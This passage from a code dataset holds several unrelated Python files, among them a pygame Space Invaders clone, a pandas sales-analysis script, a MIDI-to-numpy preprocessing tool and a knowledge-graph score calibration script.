k.lower(50)\n k.stopLower()\n if k.isInvaded():\n self.invaded = True\n\n def checkInvaded(self):\n for i in self.j:\n for k in i:\n if k.isInvaded() and k.isAlive():\n return True\n return False\n\n\nclass Alien:\n def __init__(self, xp, yp, x1, y1):\n self.x = xp\n self.y = yp\n self.xc = x1\n self.yc = y1\n self.alive = True\n self.descend = False\n self.invaded = False\n\n def stopLower(self):\n self.descend = False\n\n def descendCheck(self):\n return self.descend\n\n def draw(self, scr):\n pygame.draw.rect(scr, white, (self.x, self.y, 25, 25))\n\n def isAlive(self):\n return self.alive\n\n def getXc(self):\n return self.xc\n\n def getYc(self):\n return self.yc\n\n def getX(self):\n return self.x\n\n def getY(self):\n return self.y\n\n def kill(self):\n self.alive = False\n\n def move(self, dir):\n self.x += dir\n if dir > 0:\n if self.x + 25 >= 625:\n self.descend = True\n else:\n if self.x <= 15:\n self.descend = True\n\n def lower(self, dir):\n self.y += dir\n if self.y >= 420:\n self.invaded = True\n\n def isInvaded(self):\n return self.invaded\n\n\nclass Bullet:\n def __init__(self, xp, yp, scr, sh):\n self.x = xp\n self.y = yp\n self.s = scr\n self.ship = sh\n\n def draw(self):\n pygame.draw.rect(self.s, white, (self.x, self.y, 4, 10))\n\n def setPos(self, xp, yp):\n self.x = xp\n self.y = yp\n\n def alienCollision(self, f):\n c = -1\n for i in range(9):\n for k in range(5):\n if self.x + 2 < f.j[i][k].getX() + 25 and self.x + 2 > f.j[i][k].getX() and self.y > f.j[i][\n k].getY() and self.y < f.j[i][k].getY() + 25 and f.j[i][k].isAlive():\n self.setPos(800, 800)\n return (i * 5) + k\n return -1\n\n def shipCollision(self, ship):\n if self.x + 2 > ship.getPos() - 20 and self.x + 2 < ship.getPos() + 20 and self.y + 10 > ship.getHeight() and self.y + 10 < ship.getHeight() + 10:\n self.setPos(800, 800)\n return True\n return False\n\n def updateShot(self):\n if self.ship:\n self.y -= 5\n else:\n self.y += 3\n\n def getHeight(self):\n return self.y\n\n\nclass Ship:\n def __init__(self, xp, yp, scr):\n self.lives = 3\n self.x = xp\n self.y = yp\n self.s = scr\n self.bul = Bullet(800, 800, self.s, True)\n self.shooting = False\n\n def move(self, m):\n if self.x + m > 600:\n self.x = 600\n if self.x + m < 40:\n self.x = 40\n else:\n self.x += m\n\n def draw(self):\n pygame.draw.rect(self.s, white, (self.x - 20, self.y, 40, 10))\n pygame.draw.rect(self.s, white, (self.x - 15, self.y - 5, 30, 5))\n pygame.draw.rect(self.s, white, (self.x - 2, self.y - 10, 4, 10))\n\n def setPos(self, x1):\n self.x = x1\n\n def getPos(self):\n return self.x\n\n def getHeight(self):\n return self.y\n\n def endShot(self):\n self.shooting = False\n\n def shoot(self):\n if not self.shooting:\n self.shooting = True\n self.bul.setPos(self.x - 2, self.y - 5)\n\n def checkShot(self, f):\n x = self.bul.alienCollision(f)\n if x != -1:\n f.unAliveShip(x)\n self.shooting = False\n self.bul.setPos(800, 800)\n return True\n return False\n\n def moveShot(self):\n if self.shooting:\n self.bul.updateShot()\n if self.bul.getHeight() < 0:\n self.shooting = False\n self.bul.setPos(800, 800)\n\n\nclass SevenSeg:\n def __init__(self, v, xPos, yPos, scr):\n self.data = []\n v = str(v)\n self.setVal(v)\n self.x = xPos\n self.y = yPos\n self.s = scr\n\n def setVal(self, val):\n val = str(val)\n if val == '1':\n self.data = [False, False, True, False, False, True, False]\n elif val == '2':\n self.data = [True, False, True, True, True, False, True]\n elif val == '3':\n self.data = [True, False, True, True, False, True, True]\n elif val == '4':\n self.data = [False, True, True, True, False, True, False]\n elif val == '5':\n self.data = [True, True, False, True, False, True, True]\n elif val == '6':\n self.data = [True, True, False, True, True, True, True]\n elif val == '7':\n self.data = [True, False, True, False, False, True, False]\n elif val == '8':\n self.data = [True, True, True, True, True, True, True]\n elif val == '9':\n self.data = [True, True, True, True, False, True, True]\n elif val == '0':\n self.data = [True, True, True, False, True, True, True]\n\n def draw(self):\n if self.data[0]:\n pygame.draw.rect(self.s, white, (self.x, self.y, 20, 3))\n if self.data[1]:\n pygame.draw.rect(self.s, white, (self.x, self.y, 3, 14))\n if self.data[2]:\n pygame.draw.rect(self.s, white, (self.x + 17, self.y, 3, 14))\n if self.data[3]:\n pygame.draw.rect(self.s, white, (self.x, self.y + 11, 20, 3))\n if self.data[4]:\n pygame.draw.rect(self.s, white, (self.x, self.y + 12, 3, 15))\n if self.data[5]:\n pygame.draw.rect(self.s, white, (self.x + 17, self.y + 12, 3, 15))\n if self.data[6]:\n pygame.draw.rect(self.s, white, (self.x, self.y + 24, 20, 3))\n\n\ndef main():\n pygame.init()\n screen = pygame.display.set_mode([640, 480])\n running = True\n gameLoop = True\n clock = pygame.time.Clock()\n while running:\n idle = True\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n while idle:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n idle = False\n gameLoop = False\n screen.fill(black)\n pygame.draw.rect(screen, white, (0, 40, 640, 5))\n pygame.display.update()\n pressed_keys = pygame.key.get_pressed()\n if pressed_keys[K_RETURN]:\n idle = False\n player = Ship(320, 440, screen)\n level = Fleet(105, 70, screen)\n stage = 0\n stageEnd = True\n score = 0\n moveClock = 0\n lives = 3\n extraLife = 100\n gameIdle = True\n global descend\n descend = False\n scoreDisplay = Display(4, 0, 5, 5, screen)\n livesDisplay = Display(1, 3, 600, 5, screen)\n while gameIdle:\n if lives == 0:\n gameLoop = False\n gameIdle = False\n running = False\n idle = False\n else:\n gameLoop = True\n if stageEnd:\n stage += 1\n tempY = 20 + 50 * stage\n if tempY > 220:\n tempY = 220\n level = Fleet(105, tempY, screen)\n stageEnd = False\n screen.fill(black)\n pygame.draw.rect(screen, white, (0, 40, 640, 5))\n level.draw()\n scoreDisplay.draw()\n livesDisplay.updateVal(lives)\n livesDisplay.draw()\n pygame.time.delay(3000)\n while gameLoop:\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n idle = False\n gameLoop = False\n gameIdle = False\n screen.fill(black)\n pygame.draw.rect(screen, white, (0, 40, 640, 5))\n pressed_keys = pygame.key.get_pressed()\n if pressed_keys[K_LEFT]:\n player.move(-2)\n if pressed_keys[K_RIGHT]:\n player.move(2)\n if pressed_keys[K_z]:\n player.shoot()\n if random.randint(1, 100) == 42:\n level.shoot(player)\n level.updateShot()\n player.moveShot()\n if player.checkShot(level):\n score += 1\n level.shot.draw()\n player.draw()\n player.bul.draw()\n scoreDisplay.draw()\n livesDisplay.draw()\n if score >= extraLife:\n lives += 1\n extraLife += 100\n if level.shot.shipCollision(player):\n gameLoop = False\n lives -= 1\n livesDisplay.updateVal(lives)\n screen.fill(black)\n level.draw()\n pygame.draw.rect(screen, white, (0, 40, 640, 5))\n scoreDisplay.updateVal(score)\n scoreDisplay.draw()\n livesDisplay.draw()\n player.setPos(320)\n if level.checkInvaded():\n lives = 0\n gameLoop = False\n screen.fill(black)\n level.draw()\n pygame.draw.rect(screen, white, (0, 40, 640, 5))\n scoreDisplay.updateVal(score)\n scoreDisplay.draw()\n livesDisplay.draw()\n if level.shipsLeft() > 0:\n speed = (int)((10 * math.log2(level.shipsLeft())) + 2)\n else:\n speed = 1\n stageEnd = True\n score += 5\n gameLoop = False\n screen.fill(black)\n if moveClock >= speed:\n level.move()\n moveClock = 0\n else:\n moveClock += 1\n level.draw()\n scoreDisplay.updateVal(score)\n livesDisplay.updateVal(lives)\n scoreDisplay.draw()\n pygame.display.update()\n if score < 20:\n print('You lost, waaaaaaah')\n\n\nmain()\npygame.quit()\n","repo_name":"asutton24/square-invaders","sub_path":"squareInvaders.py","file_name":"squareInvaders.py","file_ext":"py","file_size_in_byte":14099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69814044563","text":"# score = 0\r\n# height = 1.8 \r\n# isw = True\r\n\r\n# print(f\"your score is {score}, your height is {height}, you are winning is {isw}\")\r\n\r\n\r\n# life in week\r\nage = int(input(\"Enter your current age\"))\r\ntyear= 90\r\ntmonth= 90 * 12\r\ntweek = 90 * 52\r\ntday= 90 * 365\r\nryears= tyear - age\r\nrmonths = tmonth - (age*12)\r\nrweek = tweek -(age *52)\r\nrdays = tday - (age * 365)\r\n\r\nprint(f\"You have {rdays} days , {rweek} weeks , {rmonths} months and {ryears} years left\")","repo_name":"Aditya-wani02/Python","sub_path":"u-py/fstring.py","file_name":"fstring.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38493661230","text":"# -*- coding: utf-8 -*-\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column\nfrom sqlalchemy.dialects.mysql.types import INTEGER, DATETIME, VARCHAR, DECIMAL, TEXT, BIGINT\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.engine import reflection\n\n# from configparser import ConfigParser\n# cf = ConfigParser()\n# cf.read(\"config.ini\")\n\n# host = cf.get(\"Mysql-Database\", \"host\")\n# port = cf.get(\"Mysql-Database\", \"port\")\n# users = cf.get(\"Mysql-Database\", \"user\")\n# passwd = cf.get(\"Mysql-Database\", \"passwd\")\n# db = cf.get(\"Mysql-Database\", \"db\")\n# charset = cf.get(\"Mysql-Database\", \"charset\")\n\nhost = '127.0.0.1'\nport = 3306\nusers = 'root'\npasswd = ''\ndb = 'samr'\ncharset = 'utf8mb4'\n\n\ndef process_item(item):\n datas = dict(item)\n\n engine = create_engine('mysql+pymysql://%s:%s@%s:%s/%s?charset=%s' % (users, passwd, host, port, db, charset), echo=False)\n DBSession = sessionmaker(bind=engine)\n Base = declarative_base() # 生成ORM基类\n\n insp = reflection.Inspector.from_engine(engine)\n colums = insp.get_columns(item['table']) # 获取表字段信息\n\n class User(Base):\n __tablename__ = item['table'] # 表名\n for i in colums:\n types = i['type'] # 字段类型\n cols = i['name'] # 列名\n if INTEGER == type(types):\n if i.get('autoincrement') == True:\n locals()[cols] = Column(INTEGER(), primary_key=True)\n else:\n locals()[cols] = Column(INTEGER())\n elif DATETIME == type(types):\n locals()[cols] = Column(DATETIME())\n elif VARCHAR == type(types):\n locals()[cols] = Column(VARCHAR())\n elif DECIMAL == type(types):\n locals()[cols] = Column((DECIMAL()))\n elif TEXT == type(types):\n locals()[cols] = Column((TEXT()))\n elif BIGINT == type(types):\n locals()[cols] = Column((BIGINT()))\n\n # Base.metadata.create_all(engine) # 初始化\n user = User()\n\n # 插入数据\n cursor = DBSession() # session实例\n for key in datas:\n setattr(user, key, datas[key])\n\n cursor.add(user)\n\n try:\n cursor.commit()\n except Exception as err:\n if 'Duplicate' in str(err):\n print('唯一键重复异常')\n","repo_name":"z18305238481/smar","sub_path":"samr/util/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42958934730","text":"N = int(input())\r\n\r\narr = [list(map(int, input().split())) for _ in range(N)]\r\n\r\nnT = N//2\r\n# visited = [[0 for _ in range(N)] for _ in range(N)]\r\nvisited = [0 for _ in range(N)]\r\nanswer = []\r\ndef dfs(depth):\r\n\tglobal answer\r\n\tif sum(visited) == nT:\r\n\t\tsumA, sumB = 0, 0\r\n\t\tfor i in range(N-1):\r\n\t\t\tfor j in range(i+1, N):\r\n\t\t\t\tteamA = visited[i] + visited[j]\r\n\t\t\t\t#TeamA\r\n\t\t\t\tif teamA == 2:\r\n\t\t\t\t\tsumA += arr[i][j]\r\n\t\t\t\t\tsumA += arr[j][i]\r\n\t\t\t\telif teamA == 0:\r\n\t\t\t\t\t#TeamB\r\n\t\t\t\t\tsumB += arr[i][j]\r\n\t\t\t\t\tsumB += arr[j][i]\r\n\t\t\r\n\t\tanswer.append(abs(sumA - sumB))\r\n\t\treturn\r\n\t\t\t\t\r\n\telse:\r\n\t\tfor i in range(depth, N):\r\n\t\t\t# if not visited[i]:\r\n\t\t\tvisited[i] = 1\r\n\t\t\tdfs(i + 1)\r\n\t\t\tvisited[i] = 0\r\n\r\ndfs(0)\r\nprint(min(answer))","repo_name":"zinee-u/algorithm_python","sub_path":"백준/Silver/14889. 스타트와 링크/스타트와 링크.py","file_name":"스타트와 링크.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8445780124","text":"# Importando as bibliotecas que usaremos\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nprint(\"======================= Trazendo os títulos das colunas====================================\")\n# Trazendo o banco de dados utilizando a bibliotecas\nDataframe = pd.read_csv('supermarket_sales - Sheet1.csv')\n\n# Adicionando os títulos das colunas à uma lista\nTitulos = [x for x in Dataframe.columns]\nprint(Titulos)\n\nprint(\"_______________________________________________________________________________________\")\nprint(\"======================= Valor por Linha de Produto ====================================\")\n# Limpando os dados indesejados\nDados_Indesejados=['Invoice ID','Branch','Time','cogs']\nfor i in Dados_Indesejados:\n Dataframe= Dataframe.drop(i,axis=1)\n\n# Transformando a data em Mês e Ano\n# (1) Convertendo a coluna de Data para datetime\nDataframe['Date'] =pd.to_datetime(Dataframe[\"Date\"])\n\n# (2) Extraindo o mês e o ano a partir da coluna transformada\nDataframe['Mes'] = Dataframe['Date'].dt.month\nDataframe['Ano'] = Dataframe['Date'].dt.year\n\n# Pegando as linhas de produtos\nLinhas_Produtos = []\nfor linha in Dataframe['Product line'].unique():\n Linhas_Produtos.append(linha)\nprint(Linhas_Produtos)\n\nprint(\"_______________________________________________________________________________________\")\nprint(\"======================= Valor por Linha de Produto ====================================\")\n# Trazendo os valores de arrecadação por linha de produto\n\n\"\"\"\n-> Conseguimos trazer de uma forma mais direta\nTotal = Dataframe.groupby('Product line')['Total'].sum()\nprint(Total)\n\"\"\"\n\nTotal_Linha = {}\n\nGrupos_Produtos = Dataframe.groupby('Product line')\nfor i, valores in Grupos_Produtos:\n Total = valores['Total'].sum() #Valores atua como um subconjunto do grupo i\n Total_Linha[i] = round(Total,2)\nprint(Total_Linha)\n\n# Trazendo um gráfico com a participação de cada grupo no total de vendas\nPorcentagem = {}\nTotal_vendas = Dataframe['Total'].sum()\nfor Linha, tots in Total_Linha.items():\n Valor = (tots/Total_vendas)*100\n Porcentagem[Linha] = round(Valor,2)\n\n# Criando o gráfico de pizza\nplt.pie(Porcentagem.values(), labels=Porcentagem.keys(), autopct='%1.1f%%')\n\n# Configurações adicionais\nplt.title('Distribuição de vendas por Linha')\nplt.axis('equal')\n\n# Exibindo o gráfico\nplt.show()\n\nprint(\"__________________________________________________________________________________________\")\nprint(\"================================= Valor por Genero =======================================\")\n\n# Trazendo os valores de arrecadação por Gênero\nTotal_Genero ={}\nGrupo_Genero = Dataframe.groupby('Gender')\n\nfor i, valor in Grupo_Genero:\n Total = valor['Total'].sum()\n Total_Genero[i] = Total\nprint(Total_Genero)\n\n# Trazendo o valor em porcetagem\nPorcentagem_Genero = {}\nfor Genero, total in Total_Genero.items():\n Valor = (total/Total_vendas)*100\n Porcentagem_Genero[Genero] = round(Valor, 2)\n\nprint(Porcentagem_Genero)\n# Criando o gráfico de pizza\nplt.pie(Porcentagem_Genero.values(), labels=Porcentagem_Genero.keys(), autopct='%1.1f%%')\n\n# Configurações adicionais\nplt.title('Distribuição de Vendas por Genero')\n\n# Exibindo o gráfico\nplt.show()\n\nprint(\"__________________________________________________________________________________________\")\nprint(\"================================= Valor por Cidade =======================================\")\n\n# Trazendo os valores por cidade\nGrupo_Cidade = Dataframe.groupby('City')\nCidades = {}\n\nfor i,x in Grupo_Cidade:\n Total = x['Total'].sum()\n Cidades[i] = Total\n\n# Criando o gráfico de barra\nplt.bar(Cidades.keys(),Cidades.values())\nplt.ylim(100000, 115000)\n\n# Configurações adicionais\nplt.title('Distribuição de Vendas por Cidade')\n\n# Exibindo o gráfico\nplt.show()\n\n","repo_name":"matavila/GUI_For_Data","sub_path":"ProjetoData.py","file_name":"ProjetoData.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73879047121","text":"import os\nimport shutil\nimport numpy as np\nimport pretty_midi\nfrom multiprocessing import Queue, Process\nfrom pypianoroll import Multitrack\nimport argparse\nimport sys\nimport logging\nlogging.basicConfig(level=logging.INFO, stream=sys.stdout, format='%(asctime)s %(levelname)s: %(message)s')\n\n\ndef get_args():\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--mid_root', type=str, default='/data00/home/zhangyonghui.98k/Dataset/lpd_5/lpd5_all')\n parser.add_argument('--dst_path', type=str, default='/data00/home/zhangyonghui.98k/Dataset/lpd5.npz')\n parser.add_argument('--num_workers', type=int, default=25)\n parser.add_argument('--sample_num', type=int, default=12)\n args = parser.parse_args()\n return args\n\n\ndef mid_to_npz(mid_file, sample_num=None, n_tracks=5, beat_resolution=12):\n\n default_inst = {\n 'Drums': pretty_midi.Instrument(program=0, is_drum=True, name=\"Drums\"),\n 'Piano': pretty_midi.Instrument(program=0, is_drum=False, name=\"Piano\"),\n 'Guitar': pretty_midi.Instrument(program=24, is_drum=False, name=\"Guitar\"),\n 'Bass': pretty_midi.Instrument(program=32, is_drum=False, name=\"Bass\"),\n 'Strings': pretty_midi.Instrument(program=48, is_drum=False, name=\"Strings\")\n }\n\n # add note to midi.\n mid = pretty_midi.PrettyMIDI(mid_file)\n valid_inst_num = 0\n for i, inst in enumerate(mid.instruments):\n if len(inst.notes) != 0:\n default_inst[inst.name] = True\n valid_inst_num += 1\n\n if valid_inst_num < n_tracks:\n return None\n\n for inst_name in default_inst:\n if default_inst[inst_name] is not True:\n inst = default_inst[inst_name]\n inst.notes.append(pretty_midi.Note(pitch=0, start=0, end=1, velocity=100))\n mid.instruments.append(inst)\n\n default_inst = ['Drums', 'Piano', 'Guitar', 'Bass', 'Strings']\n inst_idx = [-1] * len(default_inst)\n for i, inst_name in enumerate(default_inst):\n for k, d in enumerate(mid.instruments):\n if d.name == inst_name:\n inst_idx[i] = k\n\n assert np.sum(inst_idx) == 10, 'Some Instrument not existed!'\n\n label_mat = np.zeros((int((len(mid.get_beats())) * beat_resolution + 1), 128, 5), dtype=np.bool)\n time_ratio = label_mat.shape[0] / mid.get_end_time()\n if label_mat.shape[0] <= 8 * 4 * beat_resolution:\n logging.info('skip too short audio.')\n return None\n\n for write_id, inst_id in enumerate(inst_idx):\n inst = mid.instruments[inst_id]\n for note in inst.notes:\n start = int(note.start * time_ratio)\n end = int(note.end * time_ratio) + 1\n if end <= label_mat.shape[0]:\n label_mat[start:end, note.pitch, write_id] = True\n\n label_mat = label_mat[:, 24:108]\n\n # print('now.shape=', label_mat.shape)\n # print('now.sum=', np.sum(label_mat))\n result = []\n sample_start = [int(x * time_ratio) for x in mid.get_beats()]\n np.random.shuffle(sample_start)\n sample_start = sample_start[:sample_num]\n for start in sample_start:\n end = start + 8 * 4 * beat_resolution\n if end <= label_mat.shape[0]:\n sample = label_mat[start:end, ...]\n sample = np.reshape(sample, (8, 4 * beat_resolution, 84, 5))\n result.append(sample)\n return result\n\n\ndef mid_to_npz_select(mid_file, sample_num=15, select_inst=('Drums', 'Piano'), beat_resolution=12):\n\n default_inst = ['Drums', 'Piano', 'Guitar', 'Bass', 'Strings']\n write_idx = [-1] * len(select_inst)\n for i, inst_name in enumerate(select_inst):\n for j, d in enumerate(default_inst):\n if inst_name == d:\n write_idx[i] = j\n break\n\n mid = pretty_midi.PrettyMIDI(mid_file)\n select_idx = [-1] * len(select_inst)\n for k, inst in enumerate(mid.instruments):\n for i in range(len(select_inst)):\n if select_inst[i] == inst.name and len(inst.notes) != 0:\n select_idx[i] = k\n break\n\n for i, idx in enumerate(select_idx):\n if idx == -1:\n # logging.info('does not contain the instrument:{}'.format(select_inst[i]))\n return None\n label_mat = np.zeros((int((len(mid.get_beats())) * beat_resolution + 1), 128, 5), dtype=np.bool)\n time_ratio = label_mat.shape[0] / mid.get_end_time()\n if label_mat.shape[0] <= 8 * 4 * beat_resolution:\n logging.info('skip too short audio.')\n return None\n for inst_id, write_id in zip(select_idx, write_idx):\n inst = mid.instruments[inst_id]\n for note in inst.notes:\n start = int(note.start * time_ratio)\n end = int(note.end * time_ratio) + 1\n if end <= label_mat.shape[0]:\n label_mat[start:end, note.pitch, write_id] = True\n\n label_mat = label_mat[:, 24:108]\n\n # print('now.shape=', label_mat.shape)\n # print('now.sum=', np.sum(label_mat))\n result = []\n sample_start = [int(x * time_ratio) for x in mid.get_beats()]\n np.random.shuffle(sample_start)\n sample_start = sample_start[:sample_num]\n for start in sample_start:\n end = start + 8 * 4 * beat_resolution\n if end <= label_mat.shape[0]:\n sample = label_mat[start:end, ...]\n sample = np.reshape(sample, (8, 4 * beat_resolution, 84, 5))\n result.append(sample)\n return result\n\n\ndef check_mid(mid_path, gamma=5):\n mid = pretty_midi.PrettyMIDI(mid_path)\n # check inst num\n inst_num = 0\n for i, inst in enumerate(mid.instruments):\n if len(inst.notes) == 0:\n mid.instruments[i].notes.append(pretty_midi.Note(pitch=23, start=1, end=2, velocity=100))\n # if inst_num < gamma:\n # logging.info('too less instruments.')\n # return None\n p_idx = [int(x * 20) for x in mid.get_beats()]\n return p_idx\n\n\ndef send_mid(args, q):\n\n mid_files = [os.path.join(args.mid_root, x) for x in os.listdir(args.mid_root)]\n for i, mid_path in enumerate(mid_files):\n q.put(mid_path)\n if (i + 1) % 100 == 0:\n logging.info('processing: [{}/{}]'.format(i + 1, len(mid_files)))\n\n for _ in range(args.num_workers):\n q.put(None)\n\n\ndef processer(q_in, q_out, sample_num=None):\n\n while True:\n mid_path = q_in.get()\n if mid_path is None:\n q_out.put(None)\n break\n\n res = mid_to_npz(mid_path, sample_num)\n # res = mid_to_npz_select(mid_path, sample_num)\n if res is None:\n continue\n q_out.put(res)\n\n\ndef get_ary(args, q):\n\n get_none = 0\n result = []\n while True:\n res = q.get()\n if res is None:\n get_none += 1\n if get_none == args.num_workers:\n break\n continue\n result.extend(res)\n\n saved = np.asarray(result)\n logging.info('saved shape={}'.format(saved.shape))\n logging.info('save file into: {}'.format(args.dst_path))\n np.savez_compressed(args.dst_path, nonzero=np.array(saved.nonzero()), shape=saved.shape)\n\n\ndef work(args):\n\n if os.path.isfile(args.dst_path):\n logging.info('delete file: {}'.format(args.dst_path))\n os.remove(args.dst_path)\n\n q_in = Queue(maxsize=1024)\n q_out = Queue(maxsize=1024)\n\n sender = Process(target=send_mid, args=(args, q_in))\n sender.start()\n\n worker = [Process(target=processer, args=(q_in, q_out, args.sample_num)) for _ in range(args.num_workers)]\n for w in worker:\n w.start()\n\n geter = Process(target=get_ary, args=(args, q_out))\n geter.start()\n\n sender.join()\n for w in worker:\n w.join()\n geter.join()\n\n logging.info('finished.')\n\n\ndef main():\n args = get_args()\n logging.info(args)\n work(args)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"zyoohv/MuseGAN-Edit","sub_path":"make_npz.py","file_name":"make_npz.py","file_ext":"py","file_size_in_byte":7830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71580886482","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nprint('version1')\n\n\n# In[4]:\n\n\nimport pandas as pd\nimport numpy as np\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nfrom datetime import datetime\n\n\n# In[5]:\n\n\ndef create_dataframes():\n main_path = '../featureGen/originalData/data/futures/um/monthly/klines'\n coins = [f for f in listdir(main_path) if 'USDT' in f]\n coins.sort()\n coin_5m = {}\n for coin in coins:\n print(coin)\n path_5m = main_path + '/' + coin + '/5m/'\n loDf = [] # list of dataframes to afterwards append them all in a single one\n for f in listdir(path_5m): # loop through every file in the 'path_5m' directory\n if isfile(join(path_5m, f)):\n single_df = pd.read_csv(os.path.join(path_5m,f))\n single_df.columns = [\"open_time\", \"open\", \"high\",\"low\",\"close\",\"volume\",\"close_time\",\"quote_asset_vol\",\"num_of_trades\",\"taker_buy_base_asset_vol\",\"taker_buy_quote_asset_vol\",\"ignore\"]\n loDf.append(single_df)\n \n concat_dfs = pd.concat(loDf).reset_index(drop=True) # concatenate all df into a single one for each individual coin \n for index,row in concat_dfs.iterrows():\n concat_dfs.at[index,\"open_time\"] = datetime.fromtimestamp(int(concat_dfs[\"open_time\"][index])/1000)\n concat_dfs.sort_values(by=['open_time'], inplace=True, ascending=True)\n concat_dfs.reset_index(drop=True, inplace = True)\n coin_5m[coin] = concat_dfs\n\n return coin_5m\n \n\n\n# In[6]:\n\n\n#coin_5m = create_dataframes()\n#coin_5m['DOTUSDT'].head()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"bladey9/TradingMLCrypto","sub_path":"cryptoMLtrading/featureGen/LoadDfs.py","file_name":"LoadDfs.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25002453120","text":"import argparse\nimport gc\nimport logging\nimport sys\nimport torch\nfrom netcal.binning import IsotonicRegression\nfrom netcal.scaling import LogisticCalibration\nfrom pykeen.datasets import get_dataset\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom blenders.blender_utils import evaluate_testing_scores\nfrom context_load_and_run import ContextLoader\nfrom features.feature_scores_only_dataset import ScoresOnlyDataset\nfrom lp_kge.lp_pykeen import get_all_pos_triples\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.DEBUG)\n\n\nclass PlattScalingIndividual():\n def __init__(self, params):\n self.work_dir = params.work_dir\n self.dataset = get_dataset(\n dataset=params.dataset\n )\n self.model_list = params.models\n self.num_neg = params.num_neg\n self.params = params\n self.context_loader = ContextLoader(in_dir=params.work_dir,\n model_list=params.models)\n\n def cali(self):\n print(self.params.__dict__)\n all_pos_triples = get_all_pos_triples(self.dataset)\n for index, model_name in enumerate(self.model_list):\n logger.info(f\"scaling: {model_name}\")\n dev_feature_dataset = ScoresOnlyDataset(self.dataset.validation.mapped_triples,\n self.context_loader,\n all_pos_triples,\n num_neg=self.num_neg, models=[model_name])\n\n test_feature_dataset = ScoresOnlyDataset(self.dataset.testing.mapped_triples,\n self.context_loader.set_cache_preds(True),\n all_pos_triples,\n calibrated=False, models=[model_name])\n\n pos, neg = dev_feature_dataset.get_all_dev_examples()\n keep_index1 = (pos > 0).nonzero(as_tuple=True)[0]\n neg = neg.reshape(pos.shape[0], self.num_neg)[keep_index1].flatten().unsqueeze(1)\n pos = pos[keep_index1]\n keep_index2 = (neg > 0).nonzero(as_tuple=True)[0]\n neg = neg[keep_index2]\n logger.info(f\"pos num: {pos.shape[0]}\")\n logger.info(f\"neg num: {neg.shape[0]}\")\n inputs = torch.cat([pos, neg], 0)\n labels = torch.cat([torch.ones(pos.shape[0], 1),\n torch.zeros(neg.shape[0], 1)], 0).numpy()\n use_cuda = torch.cuda.is_available()\n logger.debug(f\"use cuda: {use_cuda}\")\n pred_features = test_feature_dataset.get_all_test_examples()\n\n if self.params.cali == \"variational\":\n logger.info(\"using variational\")\n cali = LogisticCalibration(method='variational',\n detection=True,\n independent_probabilities=True,\n use_cuda=use_cuda,\n vi_epochs=self.params.epoch)\n elif self.params.cali == 'isotonic':\n logger.info(\"using isotonic\")\n cali = IsotonicRegression(independent_probabilities=True)\n elif self.params.cali == 'momentum':\n logger.info(\"using momentum\")\n cali = LogisticCalibration(method='momentum',\n detection=True,\n independent_probabilities=True,\n momentum_epochs=self.params.epoch,\n use_cuda=use_cuda,\n vi_epochs=self.params.epoch)\n else:\n logger.info(\"unsupported cali function, please set cali in ['variational', 'isotonic', 'momentum']\")\n sys.exit()\n gc.collect()\n if use_cuda:\n torch.cuda.empty_cache()\n cali.fit(inputs.numpy(), labels)\n old_shape = self.context_loader.context_resource[model_name]['preds'].shape\n logger.info(f\"Start transforming {self.model_list[index]}.\")\n m_test_dataloader = DataLoader(pred_features.numpy(), batch_size=512 * old_shape[1])\n individual_cali = []\n for batch in tqdm(m_test_dataloader):\n if self.params.cali == \"variational\":\n batch_individual_cali = cali.transform(batch.numpy(), num_samples=100).mean(0)\n else:\n batch_individual_cali = cali.transform(batch.numpy())\n individual_cali.extend(batch_individual_cali)\n gc.collect()\n if use_cuda:\n torch.cuda.empty_cache()\n\n h_preds, t_preds = torch.chunk(torch.as_tensor(individual_cali), 2, 0)\n h_preds = torch.reshape(h_preds, (old_shape[0], int(old_shape[1] / 2)))\n t_preds = torch.reshape(t_preds, (old_shape[0], int(old_shape[1] / 2)))\n individual_cali = torch.cat([h_preds, t_preds], 1)\n torch.save(individual_cali, self.work_dir + f\"{model_name}/cali_preds.pt\")\n logger.info(f\"Transforming saved for {self.model_list[index]}.\")\n raw_res = evaluate_testing_scores(self.dataset, self.context_loader.context_resource[model_name]['preds'])\n logger.info(f\"{self.model_list[index]} rank evaluation with raw scores:\\n {raw_res}\")\n cali_res = evaluate_testing_scores(self.dataset, individual_cali)\n logger.info(f\"{self.model_list[index]} rank evaluation with calibrated scores:\\n {cali_res}\")\n del cali\n del h_preds\n del t_preds\n del individual_cali\n gc.collect()\n if use_cuda:\n torch.cuda.empty_cache()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"experiment settings\")\n parser.add_argument('--models', type=str, default=\"CP_ComplEx_RotatE_TuckER_anyburl\")\n parser.add_argument('--dataset', type=str, default=\"UMLS\")\n 